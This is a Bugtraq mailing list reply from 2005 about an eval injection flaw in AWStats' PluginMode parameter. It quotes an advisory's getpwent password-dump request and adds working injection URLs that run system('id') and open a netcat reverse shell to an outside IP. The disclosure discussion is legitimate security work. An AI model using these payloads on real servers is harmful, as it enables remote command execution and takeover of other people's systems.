Bugtraq mailing list archives
Re: AWStats <= 6.4 Multiple vulnerabilities
From: Ondra Holecek <bln () deprese net>
Date: Tue, 15 Feb 2005 16:24:41 +0100
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 GHC () www securityfocus com wrote: | | /*==========================================*/ | // GHC -> AWStats <- ADVISORY | \\ PRODUCT: AWStats | // VERSION: <= 6.3 | \\ URL: http://awstats.sourceforge.net/ | // VULNERABILITY CLASS: Multiple vulnerabilities | \\ RISK: high | /*==========================================*/ [...] | | PluginMode=:print+getpwent | | And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'. | This will satisfy eval() requirements., and :print getpwent() is executed. | | http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent | | Sanitazing limits user's input, but there is no filtration for call sympols '()'. no, user is not limited, he can execute ANY command if he add ; at the end of the command, try this awstats.pl?&PluginMode=:print+system('id')+; or even this awstats.pl?&PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+; Ondra -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCEhQ5fz/hUj18TqkRAm92AKCB8p7DEirtizNdeqIv1314VcclHgCaAoO8 t85gyPeNyeIKSl1NPDuBUaE= =CZ4M -----END PGP SIGNATURE-----
Current thread:
- AWStats <= 6.4 Multiple vulnerabilities GHC (Feb 14)
- Re: AWStats <= 6.4 Multiple vulnerabilities Ondra Holecek (Feb 15)
- Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Jamie Pratt (Feb 15)
- Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Ondra Holecek (Feb 15)
- Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Herman Sheremetyev (Feb 15)
- Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Jamie Pratt (Feb 15)
- Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Thom Craver (Feb 16)
- Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Micah Brandon (Feb 16)
- Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Matt Wilder (Feb 17)
- Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Jamie Pratt (Feb 15)
- Re: AWStats <= 6.4 Multiple vulnerabilities Ondra Holecek (Feb 15)
- Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Ondra Holecek (Feb 15)
- Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? twebster (Feb 15)